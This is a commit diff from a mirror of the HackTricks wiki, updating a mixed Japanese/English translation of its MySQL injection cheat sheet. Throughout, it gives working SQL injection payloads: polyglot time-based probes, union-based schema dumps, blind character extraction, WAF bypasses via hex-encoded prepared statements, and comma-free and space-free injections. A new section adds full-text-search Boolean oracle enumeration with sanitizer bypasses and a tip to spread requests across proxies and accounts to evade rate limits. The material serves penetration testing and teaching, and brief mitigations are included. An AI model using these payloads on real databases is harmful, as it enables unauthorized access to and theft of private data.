mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README
This commit is contained in:
parent
57fd731946
commit
29356502b6
@ -1,4 +1,4 @@
|
||||
# MySQLインジェクション
|
||||
# MySQL injection
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -14,7 +14,7 @@
|
||||
```
|
||||
## 興味深い関数
|
||||
|
||||
### Confirm Mysql:
|
||||
### Mysqlの確認:
|
||||
```
|
||||
concat('a','b')
|
||||
database()
|
||||
@ -28,7 +28,7 @@ floor(2.9)
|
||||
length(1)
|
||||
count(1)
|
||||
```
|
||||
### 有用な関数
|
||||
### 便利な関数
|
||||
```sql
|
||||
SELECT hex(database())
|
||||
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
|
||||
@ -44,32 +44,32 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
|
||||
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
||||
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||
```
|
||||
## すべてのインジェクション
|
||||
## すべての injection
|
||||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
出典: [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
|
||||
## フロー
|
||||
|
||||
「現代」の**MySQL**のバージョンでは、"_**information_schema.tables**_"を"_**mysql.innodb_table_stats**_**"**に置き換えることができることを覚えておいてください(これはWAFを回避するのに役立つかもしれません)。
|
||||
"modern" バージョンの **MySQL** では、"_**information_schema.tables**_" を "_**mysql.innodb_table_stats**_**"**" の代わりに使えることを覚えておいてください。 (これはWAFsをbypassするのに有用な場合があります。)
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
|
||||
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
```
|
||||
### **値は1つだけ**
|
||||
### **単一の値のみ**
|
||||
|
||||
- `group_concat()`
|
||||
- `Limit X,1`
|
||||
|
||||
### **ブラインド一つずつ**
|
||||
### **ブラインド(1文字ずつ)**
|
||||
|
||||
- `substr(version(),X,1)='r'` または `substring(version(),X,1)=0x70` または `ascii(substr(version(),X,1))=112`
|
||||
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
|
||||
- `mid(version(),X,1)='5'`
|
||||
|
||||
### **ブラインド追加**
|
||||
### **ブラインド(追加)**
|
||||
|
||||
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
@ -77,9 +77,9 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
||||
- `SELECT INSTR('foobarbar', 'fo...')=1`
|
||||
|
||||
## 列の数を検出
|
||||
## 列数の検出
|
||||
|
||||
単純なORDERを使用
|
||||
単純な ORDER を使用
|
||||
```
|
||||
order by 1
|
||||
order by 2
|
||||
@ -92,7 +92,7 @@ UniOn SeLect 1,2
|
||||
UniOn SeLect 1,2,3
|
||||
...
|
||||
```
|
||||
## MySQL ユニオンベース
|
||||
## MySQL Union Based
|
||||
```sql
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||||
@ -101,68 +101,68 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
## SSRF
|
||||
|
||||
**ここで、** [**Mysqlインジェクションを悪用してSSRFを取得するための異なるオプションを学びます**](mysql-ssrf.md)**。**
|
||||
**ここでは異なるオプションを説明します** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**。**
|
||||
|
||||
## WAFバイパストリック
|
||||
## WAF bypass tricks
|
||||
|
||||
### プリペアドステートメントを通じてクエリを実行する
|
||||
### Prepared Statements を用いたクエリの実行
|
||||
|
||||
スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当て(SETを使用)、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。こんな感じです:
|
||||
stacked queries が許可されている場合、実行したいクエリの hex representation を変数に代入(SET を使用)し、PREPARE と EXECUTE MySQL ステートメントを使って最終的にクエリを実行することで WAF を回避できる場合があります。例えば次のようになります:
|
||||
```
|
||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||
```
|
||||
詳細については、[このブログ投稿](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)を参照してください。
|
||||
詳細については[this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)を参照してください。
|
||||
|
||||
### Information_schemaの代替
|
||||
### Information_schema の代替
|
||||
|
||||
「現代」の**MySQL**のバージョンでは、_**information_schema.tables**_を_**mysql.innodb_table_stats**_や_**sys.x$schema_flattened_keys**_、または**sys.schema_table_statistics**に置き換えることができることを忘れないでください。
|
||||
「modern」バージョンの **MySQL** では _**information_schema.tables**_ を _**mysql.innodb_table_stats**_ や _**sys.x$schema_flattened_keys**_、または **sys.schema_table_statistics** に置き換えられることを覚えておいてください。
|
||||
|
||||
### MySQLインジェクション(カンマなし)
|
||||
### MySQLinjection カンマなし
|
||||
|
||||
カンマを使用せずに2つの列を選択します([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
カンマを一切使わずに2列を選択する方法 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
```
|
||||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||||
```
|
||||
### 列名なしで値を取得する
|
||||
### カラム名が分からない場合に値を取得する
|
||||
|
||||
もし、テーブルの名前はわかっているが、テーブル内の列の名前がわからない場合は、次のようなコマンドを実行して、列の数を調べることができます:
|
||||
もしテーブル名は分かっているが、そのテーブル内のカラム名が分からない場合、次のようなクエリを実行してカラム数を調べることができます:
|
||||
```bash
|
||||
# When a True is returned, you have found the number of columns
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
2つの列があると仮定します(最初の列がIDで、もう1つの列がフラグです)。フラグの内容を文字ごとにブルートフォースしてみることができます:
|
||||
列が2つあり(1列目が ID、もう1列が flag)であれば、1文字ずつ試して flag の内容を bruteforce できます:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
```
|
||||
More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
詳細は [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
|
||||
### SPACESなしのインジェクション (`/**/` コメントトリック)
|
||||
### SPACESなしの Injection (`/**/` comment trick)
|
||||
|
||||
一部のアプリケーションは、`sscanf("%128s", buf)` のような関数を使用してユーザー入力をサニタイズまたは解析し、**最初のスペース文字で停止します**。
|
||||
MySQLは`/**/`のシーケンスをコメント*および*ホワイトスペースとして扱うため、クエリを文法的に有効に保ちながら、ペイロードから通常のスペースを完全に削除するために使用できます。
|
||||
一部のアプリケーションは `sscanf("%128s", buf)` のような関数でユーザー入力をサニタイズまたは解析し、最初のスペース文字で**停止します**。
|
||||
MySQL はシーケンス `/**/` をコメント *かつ* 空白として扱うため、クエリの構文を有効なままに保ちながらペイロード中の通常のスペースを完全に取り除くために使用できます。
|
||||
|
||||
スペースフィルターをバイパスする時間ベースのブラインドインジェクションの例:
|
||||
スペースフィルタをバイパスする、time-based blind injection の例:
|
||||
```http
|
||||
GET /api/fabric/device/status HTTP/1.1
|
||||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||||
```
|
||||
データベースが受け取るものは:
|
||||
データベースが受け取るのは:
|
||||
```sql
|
||||
' OR SLEEP(5)-- -'
|
||||
```
|
||||
これは特に便利です:
|
||||
これは特に次の場合に便利です:
|
||||
|
||||
* 制御可能なバッファのサイズが制限されている場合(例:`%128s`)で、スペースが入力を早期に終了させる場合。
|
||||
* 通常のスペースが削除されるか、区切りとして使用されるHTTPヘッダーや他のフィールドを通じて注入する場合。
|
||||
* `INTO OUTFILE` プリミティブと組み合わせて、完全な事前認証RCEを達成する場合(MySQL File RCEセクションを参照)。
|
||||
* 制御可能なバッファのサイズが制限されている(例: `%128s`)ため、スペースで入力が途中で終了してしまう場合。
|
||||
* 通常のスペースが除去されたり区切り文字として使われる HTTP ヘッダやその他のフィールドを介して注入する場合。
|
||||
* 完全な pre-auth RCE を達成するために `INTO OUTFILE` プリミティブと組み合わせる場合(MySQL File RCE セクション参照)。
|
||||
|
||||
---
|
||||
|
||||
### MySQLの歴史
|
||||
### MySQL の履歴
|
||||
|
||||
MySQL内で他の実行を確認できます:**sys.x$statement_analysis**
|
||||
MySQL 内部での他の実行は、テーブル: **sys.x$statement_analysis** を参照することで確認できます。
|
||||
|
||||
### バージョンの代替**s**
|
||||
```
|
||||
@ -170,14 +170,63 @@ mysql> select @@innodb_version;
|
||||
mysql> select @@version;
|
||||
mysql> select version();
|
||||
```
|
||||
## その他のMYSQLインジェクションガイド
|
||||
## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
|
||||
|
||||
これは古典的な SQL injection ではありません。開発者がユーザー入力を `MATCH(col) AGAINST('...' IN BOOLEAN MODE)` に渡すと、MySQL は引用された文字列の内部で豊富なブール検索演算子群を実行します。多くの WAF/SAST ルールはクォートの脱出(quote breaking)のみに注目しており、この攻撃面を見落としがちです。
|
||||
|
||||
Key points:
|
||||
- Operators are evaluated inside the quotes: `+` (必ず含む), `-` (含めてはいけない), `*` (末尾ワイルドカード), `"..."` (完全一致フレーズ), `()` (グルーピング), `<`/`>`/`~` (重み)。See MySQL docs.
|
||||
- これにより、文字列リテラルを脱出することなく存在/不在やプレフィックスのテストが可能になります。例: `AGAINST('+admin*' IN BOOLEAN MODE)` は `admin` で始まる任意の用語があるかを確認します。
|
||||
- oracles を構築したり(例:「任意の行がプレフィックス X を持つ用語を含んでいるか?」)、プレフィックス展開によって隠れた文字列を列挙したりするのに有用です。
|
||||
|
||||
Example query built by the backend:
|
||||
```sql
|
||||
SELECT tid, firstpost
|
||||
FROM threads
|
||||
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
|
||||
```
|
||||
If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as 非表示/削除されたタイトル.
|
||||
|
||||
Sanitizer bypass patterns (generic):
|
||||
- Boundary-trim preserving wildcard: バックエンドが `(\b.{1,2})(\s)|(\b.{1,2}$)` のような正規表現で単語ごとに末尾1〜2文字をトリムする場合、`prefix*ZZ` を送信してください。cleaner は `ZZ` をトリムしますが `*` を残すため、`prefix*` が残ります。
|
||||
- Early-break stripping: コードが単語ごとにオペレータを削除するが、長さが ≥ min length のトークンを見つけた時点で処理を中断する場合、2つのトークンを送ってください: 最初は長さ閾値を満たすジャンクトークン、2番目がオペレータペイロードを担います。例えば: `&&&&& +jack*ZZ` → after cleaning: `+&&&&& +jack*`.
|
||||
|
||||
ペイロードテンプレート(URLエンコード済み):
|
||||
```
|
||||
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
|
||||
```
|
||||
- `%26` は `&`、`%2B` は `+`。末尾の `xD`(または任意の2文字)はクリーンナーによってトリムされますが、`{FUZZ}*` は保持されます。
|
||||
- リダイレクトは「match」と見なし、エラーページは「no match」と見なしてください。オラクルを観測可能に保つため、リダイレクトを自動追跡しないでください。
|
||||
|
||||
Enumeration workflow:
|
||||
1) 最初に `{FUZZ} = a…z,0…9` を使い、`+a*`、`+b*` … のように先頭文字のマッチを探します。
|
||||
2) 肯定的なプレフィックスごとにブランチします: `a* → aa* / ab* / …`。文字列全体を復元するまで繰り返します。
|
||||
3) アプリがフラッド制御を実施している場合は、リクエストを分散させてください(プロキシ、複数アカウントなど)。
|
||||
|
||||
なぜタイトルがしばしば leak し、コンテンツはしないのか:
|
||||
- 一部のアプリは、タイトル/件名に対する予備的な MATCH の後でのみ可視性チェックを行います。フィルタリングの前に制御フローが “any results?” の結果に依存する場合、存在に関する leak が発生します。
|
||||
|
||||
Mitigations:
|
||||
- Boolean 論理が不要なら、`IN NATURAL LANGUAGE MODE` を使用するか、ユーザ入力をリテラルとして扱ってください(エスケープ/引用で他のモードでのオペレータを無効化します)。
|
||||
- Boolean mode が必要な場合は、トークン化後にすべてのトークンについてすべての Boolean オペレータ(`+ - * " ( ) < > ~`)を削除または無効化してください(途中で処理を中断しないこと)。
|
||||
- 可視性/認可フィルタを MATCH の前に適用するか、結果セットが空の場合と非空の場合でレスポンスを統一(一定のタイミング/ステータス)してください。
|
||||
- 他の DBMS における類似機能も確認してください: PostgreSQL の `to_tsquery`/`websearch_to_tsquery`、SQL Server/Oracle/Db2 の `CONTAINS` も引用された引数内のオペレータを解析します。
|
||||
|
||||
Notes:
|
||||
- Prepared statements は `REGEXP` や検索オペレータの意味的な悪用を防ぎません。`.*` のような入力は、引用された `REGEXP '.*'` の内部であっても許容的な正規表現のままです。許可リストや明示的なガードを使用してください。
|
||||
|
||||
## Other MYSQL injection guides
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
|
||||
- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html)
|
||||
- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html)
|
||||
- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user